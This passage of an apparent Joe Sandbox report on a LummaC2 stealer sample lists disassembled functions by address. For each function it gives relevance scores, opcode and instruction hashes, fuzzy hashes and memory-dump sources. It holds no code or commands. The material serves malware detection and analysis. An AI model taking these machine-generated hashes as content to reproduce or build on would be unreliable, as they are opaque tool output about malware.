Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9013c901dd171b5b85c858335e510032953f4a2dd06ccf2352206f54bd1fd296
Instruction ID: 16f1f0fca31d5759b93f1b2ef4dbf51360e14179d18f812263176d911b83f407
Opcode Fuzzy Hash: 9013c901dd171b5b85c858335e510032953f4a2dd06ccf2352206f54bd1fd296
Instruction Fuzzy Hash: 5B914972A042514FCB258D28885139A7BE2EB95325F1D863DECBA97381D774DC0A97F0

Function 00D67D94 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c4b2a18f3a6299185f72ad09a24514ee89217d86dd29849cf88cefe550121b
Instruction ID: 7176aac29f2b41eabb9650644bea478c1cae803e644903071690b35f3ee58841
Opcode Fuzzy Hash: 91c4b2a18f3a6299185f72ad09a24514ee89217d86dd29849cf88cefe550121b
Instruction Fuzzy Hash: 3E9102B6D00305CFDB188F94E891BAEBBB1FF49314F19426CE542AB355D779A805CBA0

Function 00D774F0 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 668a5176f7010ba01ab687a901638d70f4e3909f9c2c81bc0109b1c808f8cc4d
Instruction ID: 6f1a7cfbc81fcebfaf5931f9512ba31e9c279ea9809ee9457ae908ea018446bf
Opcode Fuzzy Hash: 668a5176f7010ba01ab687a901638d70f4e3909f9c2c81bc0109b1c808f8cc4d
Instruction Fuzzy Hash: B06130766183009BD3149F68DC86B6BB7E6EBC0304F58882CE489C7294EA76D90587B2

Function 00D7A0D0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3d924a44e0510f4581c9528b52a9aa155380c09c9324a7c24b2290a65f9e813c
Instruction ID: 41fa552a74ae32fb0cb0eac4f8294fb2b02db83b37c352e0c27a410f21e6085d
Opcode Fuzzy Hash: 3d924a44e0510f4581c9528b52a9aa155380c09c9324a7c24b2290a65f9e813c
Instruction Fuzzy Hash: 805129756083048FEB249E28D85173FB7D1EBD5714F59C83CD98A97392F632AC0187AA

Function 00D7A510 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa2dad3b98b8dda724de9eabd5eaeb318c04f5dbd247f02ea8761b46646badd
Instruction ID: ea376e8000950e53c0d61424082f31c7ac78a8f8be4e89c8ccfc4c66b850a731
Opcode Fuzzy Hash: 3aa2dad3b98b8dda724de9eabd5eaeb318c04f5dbd247f02ea8761b46646badd
Instruction Fuzzy Hash: 28512736A087108FD7209E2CC88076FB7A2EBD5720F6DC52DC48997355E7759C02C7A2

Function 00D5DFC0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa49af7c424e2e72a5ee0b8b466e0cf3415259adb0dfafc49571b3431cf89f89
Instruction ID: a035462604cf15bd11451227d5e2224cf96f185ceb6b1666a538e5d9fd110bde
Opcode Fuzzy Hash: fa49af7c424e2e72a5ee0b8b466e0cf3415259adb0dfafc49571b3431cf89f89
Instruction Fuzzy Hash: DB614933759A904BDB2CA97C5C5226ABA930BD6330F2D876D9EF1CB3E1D9A548094360

Function 00D7CBA6 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 024682e75c232e9e0d29123b79f58a6119f1f055c22bb383464d539a1e79df5f
Instruction ID: 2737390b777c6936cdbbdb1c82b954142d862e0125fed6a8381531f0199dc71f
Opcode Fuzzy Hash: 024682e75c232e9e0d29123b79f58a6119f1f055c22bb383464d539a1e79df5f
Instruction Fuzzy Hash: 9F41F633B287514BD7188E39885226BB7D29BCA620F1DDA3DC8D9D7381E938DC054791

Function 00D630E0 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 499cf174bf88e797598dc5911fa7277917262ccdb2994a2111941afb63a39b15
Instruction ID: b5b3e628b980bed913adf09811363814b129e849fd95e16618770e0c68c6faa3
Opcode Fuzzy Hash: 499cf174bf88e797598dc5911fa7277917262ccdb2994a2111941afb63a39b15
Instruction Fuzzy Hash: A751A135A28602CBE719CF28D851366B3E2FF88311F09857CE985D7794DB75D811CB50

Function 00D75FF0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9660528848eb795099f5dbc418725243399d0dc5ee54d9a413ace79cd833391
Instruction ID: 2d93abe03f948dec811a3a221607ad3b5c2e8034bb6aba90f0d4ca462601face
Opcode Fuzzy Hash: c9660528848eb795099f5dbc418725243399d0dc5ee54d9a413ace79cd833391
Instruction Fuzzy Hash: 64516CB15087548FE714DF29D89435BBBE1BBC4318F148E2DE4E987391E379DA088B92

Function 00D592C0 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f4bd09f622db00ef8de224de203955c61b3a3765053dbdfe0107b4df407537
Instruction ID: a85e5f5220dd287a5cd31097d2d0136eee42a246701889b2e4246fe9049b286a
Opcode Fuzzy Hash: b0f4bd09f622db00ef8de224de203955c61b3a3765053dbdfe0107b4df407537
Instruction Fuzzy Hash: 365125B2914311CBDB208F64DC626ABB3E0FF96365F084569FD95873A1E7349808D7B2

Function 00D4EDB4 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 035ca5ac1a7b40741f3923fcb04122600f9efb0823ebdd380b043a6dd3a83bcb
Instruction ID: 7c648ccf7bdc5a46c3d1cbdcd2e6d59c62a96d309595670d66b8dc8c41ab6ae5
Opcode Fuzzy Hash: 035ca5ac1a7b40741f3923fcb04122600f9efb0823ebdd380b043a6dd3a83bcb
Instruction Fuzzy Hash: 8B5123756183809FD324CB28D8807BEF7E2BBD4314F68CA2CD48AA7345DB31884287A5

Function 00D5AAE0 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249ae29b39ed894376836de96723294d1b2f5f72a7e98cec6b285e04ae28ce53
Instruction ID: 9d557062047948b3e18179b40ffcc0a754935ba59c951fcfb235689d761204fd
Opcode Fuzzy Hash: 249ae29b39ed894376836de96723294d1b2f5f72a7e98cec6b285e04ae28ce53
Instruction Fuzzy Hash: A9513A3B759AE14BDB28893C5C213666A830BE3331B2DC769DCF1C73E5D565880A9362

Function 00D6B078 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcb4aa3cd8042a894eef9c554441066b52157dfa9aad4b34dad3d49ec3a39088
Instruction ID: cad71ee16781456ab221aacda9664b57fdab6c389cf92c4309e5a8e5b5485392
Opcode Fuzzy Hash: bcb4aa3cd8042a894eef9c554441066b52157dfa9aad4b34dad3d49ec3a39088
Instruction Fuzzy Hash: 7D41F3A450C3D1ABE7358F2998B07B7BBD0EF63305F2C486DE4DA8B242D63445458B72

Function 00D77D00 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff6e7ccf47cace811ae2c4688d78c99365d035420bad61131c0840f89929f68
Instruction ID: caea71f6163988d46fb98e60e82501348650a33333e470fd1aeb079a9247e195
Opcode Fuzzy Hash: cff6e7ccf47cace811ae2c4688d78c99365d035420bad61131c0840f89929f68
Instruction Fuzzy Hash: CD4108B6A083155FE710AE14DC41B7BB7A5EF85704F144828F989D3241F735ED0487B6

Function 00D77EA0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49588468f4a352f4693d4c90c6e1848724b645c41352eb3d467dfdc9ac2005af
Instruction ID: 7e0100efd2c393c042fc04a570a92ee2e0c65c735d013fe261d21f47ae81c188
Opcode Fuzzy Hash: 49588468f4a352f4693d4c90c6e1848724b645c41352eb3d467dfdc9ac2005af
Instruction Fuzzy Hash: 4B41F673A596104BD304CE398C5026BBA936BD5330F2ACB3DEDB9D73D5EA798C054291

Function 00D7F040 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a1ffe59396de3d598878a87bd1da05e23f28c58a4d695569a38cb5bde3ea196c
Instruction ID: ce4317bd639139f0927540fffa9bd20199ad2dc2f3f7627d6c6f20420ae4a164
Opcode Fuzzy Hash: a1ffe59396de3d598878a87bd1da05e23f28c58a4d695569a38cb5bde3ea196c
Instruction Fuzzy Hash: C541E171605344EFE224CF25DCC1B76B3A6EB89714F68C52CE4C997291EB70B811C766

Function 00D7B46A Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db46f9718a93ba6051d3932a7cb0e7d8b9c6ab2360df700f6f85c55380bbc5f
Instruction ID: 08b408db65fc46b51f8b9e900d95297422df499935ce9cea898f81d9c074f0d8
Opcode Fuzzy Hash: 9db46f9718a93ba6051d3932a7cb0e7d8b9c6ab2360df700f6f85c55380bbc5f
Instruction Fuzzy Hash: 064136B6A106029FC708CF38EC612BDBBE2FF95310B18822DD416E7355EB3465558B64

Function 00D56D52 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6d57af75fe7689942ef5787ccc0910d494bd5dba60d4b74ffa007d9d80321d
Instruction ID: c1a12b88198729f5f0fc0bf6b162004ebc0c7a34961b954aff5715ed8fddc352
Opcode Fuzzy Hash: 1a6d57af75fe7689942ef5787ccc0910d494bd5dba60d4b74ffa007d9d80321d
Instruction Fuzzy Hash: 2C118BB571C2018BDB18CF25D841237BB92FBA5316FAC552CCCC6D3321D634D85A8765

Function 00D48A20 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 293d11ecb15a4287942a121f2196c36d4946016947497cfec40f8ac486ff9ff3
Instruction ID: 91db45fed2adba5d4fd8fe419cf8fd6abdeccc3c1b1fec6960fbd5cdf1177051
Opcode Fuzzy Hash: 293d11ecb15a4287942a121f2196c36d4946016947497cfec40f8ac486ff9ff3
Instruction Fuzzy Hash: 7A21FB77E619204BE310CD56CC803567796A7C9338F3EC6B8C9689B392D97BAD0386C0

Function 00D7BCDB Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8b0f0f2170dd156feaa81dc8f902d5dd245771ba0ba3eac1e372ea1734a35c
Instruction ID: eee2b996cb0becd165af64a1c5148e015f7047b16af3c1aba2a6f40346bb79be
Opcode Fuzzy Hash: dc8b0f0f2170dd156feaa81dc8f902d5dd245771ba0ba3eac1e372ea1734a35c
Instruction Fuzzy Hash: 20110372E146118BCB18CF69CC513BAB7B2EB85310B1DC15AC859A7308E738A852CBE4

Function 00D59605 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e5f4533aa79a09498a27041b377357d99abc4742a016f1fbbb5000ad68bf4a
Instruction ID: ce068f6c11811480250b883cb23855695da9eb1162e9612df8d1426ff492afd4
Opcode Fuzzy Hash: 70e5f4533aa79a09498a27041b377357d99abc4742a016f1fbbb5000ad68bf4a
Instruction Fuzzy Hash: B5213B3161D350CBCB798B24D4A12ABF392BBC4312F59452DCCCB83710EB309816C7A5

Function 00D68640 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0efe76e4a5479288dedf593460530683cae947666ea7bbbc0b3270f4e1ef837
Instruction ID: deaf2c12b560c5cb417b9eae73aba2fee66cb74c9481f213ca1e3969572ee8e0
Opcode Fuzzy Hash: d0efe76e4a5479288dedf593460530683cae947666ea7bbbc0b3270f4e1ef837
Instruction Fuzzy Hash: A501F539949310DFC7088F10D44153BF7F1EB95714F59992CD082A3356CB38EC069BA6

Function 00D69DA0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7b69c494abd83f6118a72f7de64ff912b6fa8dc0b82fccbac9464bcbb27eac
Instruction ID: c649fafbbc7b142fe8e5e8175bf6371755367e0ca86006a7f07650fbd33283f5
Opcode Fuzzy Hash: 2e7b69c494abd83f6118a72f7de64ff912b6fa8dc0b82fccbac9464bcbb27eac
Instruction Fuzzy Hash: 4E017CF560130157DB20EE54D5E1B2BF2ACAF95744F1C443DE90997202EB76EC19CAB1

Function 00D546C0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
